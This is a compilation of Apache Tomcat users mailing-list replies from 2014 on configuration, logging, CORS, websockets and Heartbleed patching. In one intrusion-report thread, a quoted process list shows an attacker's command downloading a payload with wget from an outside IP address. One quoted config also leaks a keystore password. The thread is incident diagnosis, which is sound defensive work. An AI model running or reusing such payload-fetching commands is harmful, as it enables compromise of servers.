Re: Tomcat7 Client Certicate Authentication Using Datasource Realm Fails

[Konstantin Kolinko]

2014-05-04 3:31 GMT+04:00 Dhayanidhi sundaramoorthi
:
> Hi,
>
> In Tomcat7, we are trying to do client certificate authentication using
> datasource realm. But it fails.
>
> Please fnd the configuration below:
>
> server.xml:
> 
> 
>  className="org.apache.catalina.core.AprLifecycleListener"/>
> 
>  className="org.apache.catalina.core.JreMemoryLeakPreventionListener"/>
>  className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"/>
>  className="org.apache.catalina.core.ThreadLocalLeakPreventionListener"/>
> 
> 
>  keyAlias="masfed_server_dit"
> keystoreFile="/opt/ADP/keystores/masfed_server_dit.jks" keystorePass="sso@di"

It is a public list, do you know? You may want to change your passwords.

> maxThreads="150" port="8443"
> protocol="org.apache.coyote.http11.Http11Protocol" scheme="https"
> secure="true" server="Server" sslProtocol="TLS"
> truststorefile="/opt/ADP/keystores/masfed_server_dit.jks"
>  truststorepass="sso@di" enablelookups="false"/>
> 
> 
> 
> dataSourceName="jdbc/FederationDS"
>userTable="T_USER" userNameCol="USERNAME" userCredCol="PASSWORD"
>userRoleTable="T_USER_ROLES" roleNameCol="ROLENAME" debug="99"
>  allRolesMode="authOnly" />

This is a wrong place for a  element. Here it will be silently ignored.

When parsing server.xml only known and expected XML elements are
recognized. All others are silently ignored.

I do not see a DataSource configuration anywhere.

> 
>
>  unpackWARs="true"> className="org.apache.catalina.valves.AccessLogValve" directory="logs"
> pattern="%h %l %u %t "%r" %s %b" prefix="localhost_access_log."
> suffix=".txt"/>
> 
> 
> 
> 
>
>
> security role configuration /conf/web.xml:

The conf/web.xml file is a wrong place for your configuration.
It should be in your webapp's own WEB-INF/web.xml file,  not in the global one.

> -
>
> 
> masFedClient
>  
>
>
>  all
>/*
>  
>  
> masFedClient
>   
>   
>  CONFIDENTIAL
>  
>  
>  
>  CLIENT-CERT
> 
>  jdbc/FederationDS

The realm-name is the message shown to users when using DIGEST or
BASIC authentication.
It has not relation to Tomcat's realms.

>  
>
> Database has all the required tables and columns.
>
(...)

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: regarding escaping of single quotes in attrbutes of html tags

[Konstantin Kolinko]

2014-05-03 16:26 GMT+04:00 Vimil Saju :
>>The rules:
>>http://tomcat.apache.org/lists.html#tomcat-users
>>6. Do not top-post
>>7. Do not use HTML e-mails
>>
>>As you can see from the above, from HTML point of view there is no difference.
>>
>>
>> onclick=
>>=3D"clicked('Hello')">Hello=0A=0A=0A=0AI was wo=
>>ndering why the single quotes are now being escaped in html output.=0A=0ATh=
>>
>>
>>The change was intentional and is mentioned in changelog.
>>
>>
>>
>> 2) See 'Jasper' section of the changelog, starting with 7.0.43
>> http://tomcat.apache.org/bugreport.html#Changelog
>
> I am sorry about top posting, and using HTML.
> I did read the changelog and this change is mentioned, but there was no 
> explanation regarding why this change was required.

That boils down to what is written in JSP specification.

https://issues.apache.org/bugzilla/show_bug.cgi?id=55198#c5

Unfortunately fixing that issue was not as easy as it could be, with
followup fixes going into 7.0.50, 52, 53 and in upcoming 54.

> Currently we have Jmeter scripts that go through raw HTTP responses and check 
> for the presence of certain strings. These scripts started to fail after we 
> upgraded our tomcat, we have now modified our scripts to look for ' as well 
> as single quotes. I just wanted to know if there was a purpose for this 
> change, I mean was anything broken because single quotes were not escaped?


Single quotes inside of double quotes are not really broken,  but we
are using a function that escapes all special chars (' " & <>)
regardless of context.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: regarding escaping of single quotes in attrbutes of html tags

[Konstantin Kolinko]

2014-05-02 21:56 GMT+04:00 Vimil Saju :
> Sorry about not providing an example.
>
> Below is the contents of a jspx file
>
> http://java.sun.com/JSP/Page"; version="2.0">
> 
>
> Hello
> 
> 
> 
>
>
>
> In tomcat 7.0.32 the above jspx would generate the following html
> 
>
> Hello
> 
> 
>
> However in tomcat 7.0.53 the html generated is
> 
>
> Hello
> 
> 

The rules:
http://tomcat.apache.org/lists.html#tomcat-users
6. Do not top-post
7. Do not use HTML e-mails

As you can see from the above, from HTML point of view there is no difference.


> onclick=
=3D"clicked('Hello')">Hello=0A=0A=0A=0AI was wo=
ndering why the single quotes are now being escaped in html output.=0A=0ATh=


The change was intentional and is mentioned in changelog.

>
> 2) See 'Jasper' section of the changelog, starting with 7.0.43
> http://tomcat.apache.org/bugreport.html#Changelog

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: tomcat 6 degugging with JULI

[Konstantin Kolinko]

2014-05-02 17:41 GMT+04:00 Roman, John D. :
> Greetings,
> Im currently trying to debug an application in Tomcat 6.0.33.  mod_jk is 
> being used as well.
> statements like LOGGER.finest("Logging an INFO-level message");  should log 
> to catalina.out, however they are not.
>
> Am I missing something?

A lot.

1. We do not know anything about your configuration.

2. You would have better luck with "log.fatal()" rather than with "finest()".

The log messages are filtered
a) at log category (logger) level, before sending them.

IIRC, the default value here is ".level=INFO"

b) at handler level, before writing them out.

The ConsoleHandler (that writes to System.out/err = catalina.out) has
java.util.logging.ConsoleHandler.level = FINE


The "finest" messages have lowest priority and will be rejected by both.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: regarding escaping of single quotes in attrbutes of html tags

[Konstantin Kolinko]

2014-05-02 17:46 GMT+04:00 Vimil Saju :
> Hi,
>
> I noticed that in version 7.0.53 single quotes in attributes of html tags 
> that are generated using jspx are being escaped with ' This was not the case 
> in version 7.0.32. Could someone explain the reason behind this change?

1) An example of what happens and what is expected = ?

2) See 'Jasper' section of the changelog, starting with 7.0.43
http://tomcat.apache.org/bugreport.html#Changelog

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: javaagent initialization (premain-method) not triggered by tomcat 7.0.52

[Konstantin Kolinko]

2014-04-30 18:00 GMT+04:00 Christopher Schultz :
>
> Konstantin,
>
> On 4/29/14, 7:17 PM, Konstantin Kolinko wrote:
>> 2014-04-29 12:28 GMT+04:00 Fredrik
>> :
>>> Hello. We're using jamm (https://github.com/jbellis/jamm) a java
>>> agent for measuring object memory usage, passing the javaagent
>>> argument to tomcat as
>>> "-javaagent:../../tomcat/webapps/ROOT/WEB-INF/lib/jamm-0.2.3.jar".
>>>
>>>
> When running 7.0.50 everything works as expected but after upgrading to
>>> 7.0.52 the initialization code of the agent (premain-method)
>>> isn't called anymore. Any ideas?
>>
>>
>> I understand that that means that you have the same jar present in
>> both the System classloader and the Webapp classloader.
>>
>> You should remove that jar from WEB-INF/lib directory of that
>> webapp.
>>
>> IIRC, in 7.0.50 and earlier Tomcat preferred the class from the
>> system classloader (effectively ignoring the webapp's jar).
>>
>> In 7.0.52 it does load the class provided by web application.
>
> Actually, I'd like an explanation of the above. I'm not saying it's
> wrong or makes no sense, but I don't quite understand how it could
> interfere:
>
> The javaagent should be loaded at JVM launch, which is before any web
> applications exist, so no ClassLoader conflict should occur.
>
> When a remote process connects to the agent, it should do so out of
> context of any web application (that is, the thread that handles the
> connection should not have its ClassLoader set to the
> WebappClassLoader of any deployed web application), so no classes
> should be loaded from the WebappClassLoader.

It boils down to why OP thinks that "the initialization code of the
agent (premain-method) isn't called anymore.".

There is no diagnostic logging to prove that. The only thing that that
method does is remembering something in a static field. [1, line 17]

As Web application has a  different copy of MemoryMeter class loaded
by different class loader,  it has its own copy of that static field,
which is null

To this web application it looks as if the premain has not been
called. [1, line 102]

[1] 
https://github.com/jbellis/jamm/blob/master/src/org/github/jamm/MemoryMeter.java

BTW,
https://issues.apache.org/bugzilla/show_bug.cgi?id=55943#c13

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 8.0.3.0 getting never before seen by google Illegal State Exception. Sevlets outputting the audio output from the previous runs of the program instead of the current run.

[Konstantin Kolinko]

2014-05-01 2:00 GMT+04:00 Hayward, Leigh :
> OK so I just spent an age trying to push my project to a GitHub repositry but
> I think i must just be too tired to use my brain correctly.
> Eventally gave up and just pasted my servlet into a file there.
> https://github.com/Leighbee13/RUNTHIS/tree/master
> Let me know if this works!

An interesting servlet...

The problem is that the names of your temporary files are constant ones.

So if several requests are coming at the same time. several users'
data will be written into the same file.

If a user hasn't completed downloading her file, and another requests
comes in,  the "finished.wav" file will be overwritten with new data.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Difference between Tomcat Window Service mode ?

[Konstantin Kolinko]

2014-05-01 1:10 GMT+04:00 Sebastien Tardif
:
> What is the difference between Tomcat Window Service mode ?
>
>
>
> Which one is better?
>
>
>
> I believe one of them is more “friendly” with JConsole so that the Tomcat 
> instance is listed as a list of JVM running locally?

No. Not at all.

>
> Extract from 
> http://tomcat.apache.org/tomcat-7.0-doc/windows-service-howto.html
> --StartMode
>
> executable
>
> Can one of jvm, java or exe
>


Those are Service Wrapper modes (Apache Commons Daemon jsvc).
It can wrap different programs and can start JRE in different ways.

http://commons.apache.org/proper/commons-daemon/jsvc.html

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: High CPU Usage on restarting the Tomcat 7.0.39

[Konstantin Kolinko]

2014-04-30 23:41 GMT+04:00 srinivas rapolu :
> We are using Tomcat 7.0.39 ((java version "1.7.0_25"), and Sometimes CPU
> goes high when we restart the TOMCAT.
>
> We have to stop the Tomcat in-order to release the release resources and
> again restarting the Tomcat fixes the problem.
>
> On profiling, found that Invocations on
> sum.rmi.transport.tcp.TCPTransport$ConnectionHandler.run() keep on getting
> increased and occupy more CPU.
>
> Please find attachment for more information. Any help/clue on this is
> appreciated.
>


1. Attachments are not allowed on this mailing list. The mailing list
server will remove them.

http://tomcat.apache.org/lists.html#tomcat-users
-> 7.

2. What connector implementation are you using and how it is configured?

3. Take a thread dump when that issue happens.

http://wiki.apache.org/tomcat/HowTo#How_do_I_obtain_a_thread_dump_of_my_running_webapp_.3F

4.
http://wiki.apache.org/tomcat/HowTo/FasterStartUp

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: javaagent initialization (premain-method) not triggered by tomcat 7.0.52

[Konstantin Kolinko]

2014-04-29 12:28 GMT+04:00 Fredrik :
> Hello.
> We're using jamm (https://github.com/jbellis/jamm) a java agent for
> measuring object memory usage, passing the javaagent argument
> to tomcat as
> "-javaagent:../../tomcat/webapps/ROOT/WEB-INF/lib/jamm-0.2.3.jar".
> When running 7.0.50 everything works as expected but after upgrading to
> 7.0.52 the initialization code of the agent (premain-method) isn't called
> anymore.
> Any ideas?


I understand that that means that you have the same jar present in
both the System classloader and the Webapp classloader.

You should remove that jar from WEB-INF/lib directory of that webapp.

IIRC, in 7.0.50 and earlier Tomcat preferred the class from the system
classloader (effectively ignoring the webapp's jar).

In 7.0.52 it does load the class provided by web application.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Regarding i think an intrusion

[Konstantin Kolinko]

2014-04-30 0:41 GMT+04:00 Leonardo Santagostini :
> Hello Dan,
>
> Nop, the attacker is executing locally the following
>
> tomcat8882 1  0 Apr27 ?00:00:00 sh /tmp/4.sh
> tomcat8893  8882  0 Apr27 ?00:00:00 wget
> http://218.199.102.59/.xy/squid32 -O /tmp/squid
>
> And the launch squid who tries to connect via ssh to varoius places.
>
> Right now its time to leave the office, but in a few hours i will paste in
> pastebin access logs, config files, wherever you tell me.
>
> This is my pstree
>
> [root@arcbaappvrt05 apache-tomcat-7.0.53]# pstree
> init─┬─atd
>  ├─java─┬─sh───wget
>  │  └─263*[{java}]

sh launched by tomcat's java?

Take a thread dump:
https://wiki.apache.org/tomcat/HowTo#How_do_I_obtain_a_thread_dump_of_my_running_webapp_.3F

It shall show what is stacktrace in thread that launched external process.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CORS issue with Tomcat and Android Webview

[Konstantin Kolinko]

2014-04-28 23:44 GMT+04:00 Terence M. Bandoian :
> On 4/27/2014 11:36 AM, Konstantin Kolinko wrote:
>>
>> 2014-04-27 0:50 GMT+04:00 Terence M. Bandoian :
>>>
>>> On 4/26/2014 1:13 AM, Ankit Singhal wrote:
>>>>
>>>> On Sat, Apr 26, 2014 at 12:53 AM, Terence M. Bandoian
>>>
>>> Hi, Ankit-
>>>
>>> Where did you see  documented?  I see an 
>>> named
>>> cors.allowed.origins on the Tomcat web site:
>>>
>>> https://tomcat.apache.org/tomcat-7.0-doc/config/filter.html#CORS_Filter
>>>
>>> In any case, I agree that if allowed origins is set to "*", all CORS
>>> requests should be allowed.  As I understand it, the W3C spec only
>>> requires
>>> that the Origin header exists:
>>>
>>> http://www.w3.org/TR/cors/#resource-processing-model
>>>
>>> It also states that it is acceptable for Origin headers to always match
>>> the
>>> list of allowed origins when the list is "unbounded".
>>>
>> 1. From a quick reading, I do not see any syntax for that lists
>> besides exact case-sensitive matches.
>>
>> http://tools.ietf.org/html/rfc6454#section-7
>> says that the syntax of origin header is
>>
>> serialized-origin   = scheme "://" host [ ":" port ]
>> ; , ,  from RFC 3986
>>
>> Nothing says that "host" can be omitted.
>>
>> http://tools.ietf.org/html/rfc6454#section-6.1
>> Per Sections 6.1 and 6.2 the correct serialized value of such
>> "file://" origin will be "null".
>>
>> 2. Some form of sanity check must be present,
>> because the origin header value is sent back to client and as such can
>> be abused.
>>
>> 3. That said,
>> I think that CorsFilter.isValidOrigin(String) can be patched to
>> a) Be more strict to the specified syntax  (and not just allow any URI)
>> (Not actually necessary, but it will allow to reject non-conforming
>> clients).
>>
>> b) Specifically white-list the "null" origin.
>>
>> c) Specifically white-list a "file://" origin,  with notion that that
>> is a bug in certain Android versions
>>
>>> Maybe this is a good case to submit a bug report or a patch.
>>
>> Agreed.
>>
>> Best regards,
>> Konstantin Kolinko
>>
>
>
> Hi, Konstantin-
>
> I agree there is value in validating the origin header value and with your
> interpretation of the IETF origin header specification.  I was referring to:
>
> http://www.w3.org/TR/cors/#resource-requests
>
> which includes:
>
> 1. If the Origin header is not present terminate this set of steps. The
> request is outside the scope of this specification.
>
> 2. If the value of the Origin header is not a case-sensitive match for
> any of the values in list of origins, do not set any additional headers and
> terminate this set of steps.
>
> Note: Always matching is acceptable since the list of origins can be
> unbounded.
>
> The solution you propose makes sense to me and I think will work although
> I'm a little unclear about a).  Do you mean adding a test for a null host
> value?

In a) I meant that  on Origin header is either "null" (4 characters literally),
or  "scheme "://" host [ ":" port ]".

It is not an URI. So in theory the check can be more strict, that
there is no "path", "query", "anchor" or whatever additional URI
components can be there.

(Though I see no real worth in being that strict. A small worth is to
encourage clients to behave correctly, if there are some misbehaving
ones).

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: How to specify log rotation in Tomcat 6

[Konstantin Kolinko]

2014-04-28 15:15 GMT+04:00 Randhir Singh :
> Thanks a lot Chris for your answer. I would stick to this subject line among
> the others. I have some important questions based on this:
>
> 1) Does Tomcat start giving problems if catalina.out becomes more than 2 GB?

Tomcat - no.

There were reports of the file growing up to 50 Gb and more on some systems.

If it fills all available space on the hard drive, there may be
problems coming from OS that are likely to affect Tomcat.

> 2) Can this catalina.out file be truncated on the running Tomcat or should
> the Tomcat be stopped, the catalina.out truncated and then the Tomcat is
> started.

It can be.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CORS issue with Tomcat and Android Webview

[Konstantin Kolinko]

2014-04-27 0:50 GMT+04:00 Terence M. Bandoian :
> On 4/26/2014 1:13 AM, Ankit Singhal wrote:
>>
>> On Sat, Apr 26, 2014 at 12:53 AM, Terence M. Bandoian
> Hi, Ankit-
>
> Where did you see  documented?  I see an  named
> cors.allowed.origins on the Tomcat web site:
>
> https://tomcat.apache.org/tomcat-7.0-doc/config/filter.html#CORS_Filter
>
> In any case, I agree that if allowed origins is set to "*", all CORS
> requests should be allowed.  As I understand it, the W3C spec only requires
> that the Origin header exists:
>
> http://www.w3.org/TR/cors/#resource-processing-model
>
> It also states that it is acceptable for Origin headers to always match the
> list of allowed origins when the list is "unbounded".
>

1. From a quick reading, I do not see any syntax for that lists
besides exact case-sensitive matches.

http://tools.ietf.org/html/rfc6454#section-7
says that the syntax of origin header is

   serialized-origin   = scheme "://" host [ ":" port ]
   ; , ,  from RFC 3986

Nothing says that "host" can be omitted.

http://tools.ietf.org/html/rfc6454#section-6.1
Per Sections 6.1 and 6.2 the correct serialized value of such
"file://" origin will be "null".

2. Some form of sanity check must be present,
because the origin header value is sent back to client and as such can
be abused.

3. That said,
I think that CorsFilter.isValidOrigin(String) can be patched to
a) Be more strict to the specified syntax  (and not just allow any URI)
(Not actually necessary, but it will allow to reject non-conforming clients).

b) Specifically white-list the "null" origin.

c) Specifically white-list a "file://" origin,  with notion that that
is a bug in certain Android versions

> Maybe this is a good case to submit a bug report or a patch.

Agreed.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: lean and mean Tomcat 7 configuration

[Konstantin Kolinko]

2014-04-24 17:16 GMT+04:00 André Warnier :
> Hi.
>
> Starting from a vanilla current Tomcat 7 download (*), on a Linux server
>
> (Chris already answered most of questions...)
>
> - we would like only one logfile, for everything which Tomcat itself
> produces (currently, it seems to produce half a dozen, most of them empty
> but nevertheless rotated on a daily base)
> - we would like a separate logfile for the one webapp, because it
> unfortunately produces a bunch of junk output to sysout and/or syserr, and
> there is no way to turn that off at the webapp level, and we do not have the
> source code of that webapp.
> (Basically, I would like to "junk" this output to /dev/null, but how do I do
> that with the standard Tomcat JULI logging ?)

Does that app write to stderr/stdout without using any logging library?

If so, then you can configure  to catch those writes and
redirect them to logging system.

The context will use ServletContext.log(..) for those messages.

Then you can configure "level" for that log category so that the
messages are not logged anywhere.


Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Application Deployment in Tomcat 7.X

[Konstantin Kolinko]

2014-04-23 15:42 GMT+04:00 Nitin Kumar :
> Hi Mark,
>
> Thanks for the quick reply. I will give you the example which we use
>
> Application1 is deployment in tomcat and up and running. We want to install
> application2. Following are the steps:
>
> Stop Tomcat
> Install application2 vial RPM install to tomcat Webapps directory
> Start Tomcat
>
> We have some issue in bean initialization through Spring applicationContext
> during startup. So application deployment fails. In this case Tomcat don't
> start for us.
>
> If I understood correctly from the answer that it should not be this way.
> Tomcat should start with application1.
>
> Please let me know if I am missing anything here or something we can check
>
> With Regards,
> Nitin
>
>
> On Wed, Apr 23, 2014 at 12:08 PM, Mark Thomas  wrote:
>
>> On 23/04/2014 04:40, Nitin Kumar wrote:
>> > Hi,
>> >
>> > We are using tomcat 7.X for our project. So far we deploy only one
>> > application in tomcat.
>> >
>> > Now we are planning to deploy one more application with existing one.
>> >
>> > There is requirement that failure of deployment of new application should
>> > not affect existing application deployment and tomcat startup. As per my
>> > understanding, If any application deployment fails, Tomcat startup will
>> > fail.
>>
>> You understanding is not correct.
>>
>> > Please let us know if there is any way to start the tomcat in case of
>> > failure of one application deployment also.
>>
>> That is the default behaviour.
>>

1. Tomcat won't start if you use the wrong and deprecated way of
"deploying" the web application via adding it into server.xml file.

In such configurations Tomcat is not protected from deployment errors
and will fail to start.

2. The rules:
http://tomcat.apache.org/lists.html#tomcat-users
-> 6.  Do not top-post

Also see "How To Ask Questions The Smart Way" link on the same page.
Not much can be said without knowing the specific error that you are
observing.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Fwd: [ANN] Struts 2 up to 2.3.16.1: Zero-Day Exploit Mitigation (security | critical)

[Konstantin Kolinko]

Forwarding from announce@a.o mailing list.

-- Forwarded message --
From: Rene Gielen 
Date: 2014-04-24 19:28 GMT+04:00
Subject: [ANN] Struts 2 up to 2.3.16.1: Zero-Day Exploit Mitigation
(security | critical)
To: annou...@apache.org


In Struts 2.3.16.1, an issue with ClassLoader manipulation via request
parameters was supposed to be resolved. Unfortunately, the correction
wasn't sufficient.

A security fix release fully addressing this issue is in preparation and
will be released as soon as possible.

Once the release is available, all Struts 2 users are strongly
recommended to update their installations.

* Until the release is available, all Struts 2 users are strongly
recommended to apply the mitigation described [1] *

Please follow the Apache Struts announcement channels [2][3][4][5] to
stay updated regarding the upcoming security release. Most likely the
release will be available within the next 72 hours. Please prepare for
upgrading all Struts 2 based production systems to the new release
version once available.

- The Apache Struts Team.

[1] http://struts.apache.org/announce.html#a20140424
[2] http://struts.apache.org/mail.html
[3] http://struts.apache.org/announce.html
[4] https://plus.google.com/+ApacheStruts/posts
[5] https://twitter.com/TheApacheStruts

--
René Gielen
http://twitter.com/rgielen

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Include of external entity to web.xml is stopped working on 7.0.52

[Konstantin Kolinko]

2014-04-22 19:42 GMT+04:00 Viktor Gamov :
> Hello tomcat users,
> Before I can submit formal bug to the issue tracker, I want to ask here.
> I have web.xml and I include some text file in it using !ENTITY tag:
>

As I already answered about a week a go,  you have to enable this
feature in Context configuration.
See "xmlBlockExternal" attribute of Context.

> 
>  PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
> "http://java.sun.com/dtd/web-app_2_3.dtd"; [
>   **
> ]>
> 
> 
>  MyServlet
>
> com.example.MyServlet
>  
> application.classes
>  
>&remoteClasses;
>  
> 
> 
> 
>
> It worked fine until version 7.0.52. With 7.0.52, I'm getting following
> error during application deployment
>
> https://gist.github.com/gAmUssA/11183618
> 
>

If you are not citing the error message,
how to you expect others to find this discussion in the mailing list archives?

> *p.s.* Doesn't work with v8 as well.
>
> Please, advise.
>
> Thanks
>
> --
> With Best Regards,
> Vik Gamov

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Configuring a JSR-356 Websocket

[Konstantin Kolinko]

2014-04-22 16:43 GMT+04:00 Thom Hehl :
>
> On 04/22/2014 07:50 AM, Konstantin Kolinko wrote:
>>
>> 2014-04-22 15:31 GMT+04:00 Thom Hehl :
>>>
>>> On 04/21/2014 04:30 PM, Daniel Mikusa wrote:
>>>>
>>>> On Apr 21, 2014, at 9:58 AM, Thom Hehl  wrote:
>>>>
>>
>>
>> 1. What exactly version of Tomcat you are using?
>> https://wiki.apache.org/tomcat/FAQ/Linux_Unix#Q5
>>
>> 2. Does you copy of Tomcat has the following libraries in its lib
>> directory?
>> tomcat-websocket.jar
>> websocket-api.jar
>>
>> 3. Loading of what class fails?
>>
>> Your class, or some of its dependencies?
>>
>> What is stacktrace when class loading fails?
>>
>>> I have been through the examples web.xml and cannot find any
>>> configuration for websockets
>>> at all except the listener definition for the old school version of web
>>> sockets. (I'm
>>> assuming this predated JSR-356.)
>>
>> All websockets in Tomcat 8 are JSR-356.  ("Old-school" were in Tomcat
>> 7, where both them and JSR-356 are available now).
>>
>> Best regards,
>> Konstantin Kolinko
>>
>> -
>> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
>> For additional commands, e-mail: users-h...@tomcat.apache.org
>>
> 1. Sorry, tomcat 8.0.5.
> 2. Yes.
> 3. My class. A class being used was not included on the classpath, which
> caused the class not to load.
>
> The stacktrace is IllegalStateException from ClassNotFoundException. This
> stack trace doesn't show up anywhere in tomcat 8.0.5.

If you are in debugger, you can go to "threads" view and there should
be a way to copy a thread's stacktrace in its context menu.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Configuring a JSR-356 Websocket

[Konstantin Kolinko]

2014-04-22 15:31 GMT+04:00 Thom Hehl :
>
> On 04/21/2014 04:30 PM, Daniel Mikusa wrote:
>>
>> On Apr 21, 2014, at 9:58 AM, Thom Hehl  wrote:
>>
>>> Tomcat 8/Ubuntu 12.04
>>>
>>> I have my tomcat deployed with the example echo application. I wrote a
>>> tester that hits the URL provided and sends a message and then receives the
>>> response back.
>>>
>>> I want to deploy my own websocket. I have done so using the
>>> @ServerEndpoint(value = "/websocket") annotation. When i try to hit this
>>> from my client, I get a http 404 status.
>>>
>>> I looked at the examples again and found that there was this
>>> ExamplesConfig.java. Aha! I thought, a magic class that makes this
>>> configuration work. I implemented my own and it does not change the results.
>>> It does not appear to be calling my config at all because I have
>>> System.out.println()s in my config and they are not showing up in the log.
>>>
>>> I have been through the examples web.xml and cannot find any
>>> configuration for websockets at all except the listener definition for the
>>> old school version of web sockets. (I'm assuming this predated JSR-356.)
>>>
>>> So how do i configure tomcat so it knows about my web socket?
>>
>> I don’t think this is really Tomcat specific.  Maybe start with a JSR-356
>> tutorial and see if that helps to answer your questions.
>>
>>http://docs.oracle.com/javaee/7/tutorial/doc/websocket.htm
>>
>> I also have some examples on Github, if you’re looking for more WebSockets
>> examples.
>>
>>https://github.com/dmikusa-pivotal/tomcat-8-features
>>
>>
> I appreciate the help, but I've been through the tutorials. I've been
> debugging the code for tomcat 8.05 and this looks like a defect. It finds my
> class in ContextConfig.checkHandlesTypes and then passes it to
> Introspection.loadClass(), but the class load fails and so the class isn't
> added to the list of endpoints. This is the exact thing that happens when I
> pull the EchoAnnotation endpoint out of the examples webapp and try it
> independently. Can I get someone to verify, please?


1. What exactly version of Tomcat you are using?
https://wiki.apache.org/tomcat/FAQ/Linux_Unix#Q5

2. Does you copy of Tomcat has the following libraries in its lib directory?
tomcat-websocket.jar
websocket-api.jar

3. Loading of what class fails?

Your class, or some of its dependencies?

What is stacktrace when class loading fails?

> I have been through the examples web.xml and cannot find any configuration 
> for websockets
> at all except the listener definition for the old school version of web 
> sockets. (I'm
> assuming this predated JSR-356.)

All websockets in Tomcat 8 are JSR-356.  ("Old-school" were in Tomcat
7, where both them and JSR-356 are available now).

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Patching Tomcat for Heartbleed

[Konstantin Kolinko]

2014-04-16 21:44 GMT+04:00 Cormier, Greg :
> I have a Tomcat 7.0.30 server I'm trying to patch to resolve the heartbleed 
> exploit.
>
> I shut down the server and overwrite tcnative-1.dll with the recently 
> released version.
>
> When I restart tomcat, I get errors about the Java Key Store.
>
> Apr 16, 2014 9:36:07 AM org.apache.catalina.core.AprLifecycleListener init
> INFO: The APR based Apache Tomcat Native library which allows optimal 
> performance in production environments was not found on the 
> java.library.path: D:\Tomcat 
> 7.0\bin;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\OpenSSL-Win32\bin;;.

The above means that tcnative-1.dll was not found in the directories
listed above.

I would guess that you used a wrong DLL.
It must match the CPU architecture of JRE/JDK that you are using.

Is tcnative-1.dll file readable?


> Apr 16, 2014 9:36:11 AM org.apache.coyote.AbstractProtocol init
> INFO: Initializing ProtocolHandler ["http-bio-443"]
>
> Apr 16, 2014 9:36:12 AM org.apache.tomcat.util.net.jsse.JSSESocketFactory 
> getStore
> SEVERE: Failed to load keystore type JKS with path C:\/.keystore due to 
> C:\.keystore (The system cannot find the file specified)
> java.io.FileNotFoundException: C:\.keystore (The system cannot find the file 
> specified)
> at java.io.FileInputStream.open(Native Method)
> at java.io.FileInputStream.(Unknown Source)
> at 
> org.apache.tomcat.util.net.jsse.JSSESocketFactory.getStore(JSSESocketFactory.java:400)
> ...
>
>
> I don't understand why I'm getting these, as I'm 99% sure I'm using APR and 
> not JSSE.
>
>
>  maxThreads="150" scheme="https" secure="true"
> clientAuth="false" sslProtocol="TLS"
> SSLPassword="xxx"
> SSLCertificateFile="xxx/server.crt"
> SSLCertificateKeyFile="xxx/privkey.pem"
> SSLCACertificateFile="xxx/server.crt"
> SSLCertificateChainFile="xxx/server.crt"
> Compression="on"/>
>
> I haven't setup any keystore, as I'm not using the Java Key store for this... 
> I'm not sure why the new version is trying to find a keystore despite this 
> fact.
>

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Which tcnative to replace for Heartbleed?

[Konstantin Kolinko]

2014-04-16 0:46 GMT+04:00 Scott Johnson :
> I deploy Tomcat 7 in both 64 and 32 bit environments. When I deploy/upgrade,
> I download Tomcat from this page: http://tomcat.apache.org/download-70.cgi,
> downloading both the 32-bit Windows and 64-bit Windows zip files.
>
>
>
> I would like to make sure that my Tomcat deployments are secure from the
> OpenSSL Heartbleed bug, and my understanding is that I simply need to
> replace tcnative-1.dll in my download with one from this page:
> http://apache.org/dist/tomcat/tomcat-connectors/native/1.1.30/binaries/.

Where did you get that link?
A policy is that we do not advertise direct links to the ASF server,
but suggest using the mirrors.

